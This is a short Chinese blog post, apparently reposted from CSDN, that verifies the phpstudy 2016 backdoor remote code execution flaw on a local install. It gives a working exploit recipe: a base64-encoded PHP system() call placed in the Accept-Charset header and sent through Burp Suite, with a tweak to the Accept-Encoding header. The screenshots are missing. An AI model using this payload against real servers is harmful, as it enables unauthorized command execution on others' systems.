phpstudy2016 RCE漏洞验证

EMT00923 • 2023年09月24日 16:23 • 1年前 • 编程日记 • 阅读(5) • 违法举报

漏洞描述

PHPStudyRCE（Remote Code Execution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。

打开phpstudy2016，用bp自带的浏览器访问www目录下的phpinfo.php文件，访问后结果如下：
在这里插入图片描述

然后在bp中将抓到的数据包发送到repeater模块：

在这里插入图片描述

将system(‘ipconfig’);命令做base64编码：

system('ipconfig');

编码后

c3lzdGVtKCdpcGNvbmZpZycpOw==

在这里插入图片描述

然后在repeater模块添加Accept-Charset: 字段，将base64编码放入：

Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==

注意Accept-Encoding字段中gzip和deflate之间不能有空格！

在这里插入图片描述

去掉空格后点击send发送，ipconfig命令被执行：

在这里插入图片描述文章来源地址https://uudwc.com/A/BvkMZ

原文地址:https://blog.csdn.net/m0_56578216/article/details/133131374

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请联系站长进行投诉反馈，一经查实，立即删除！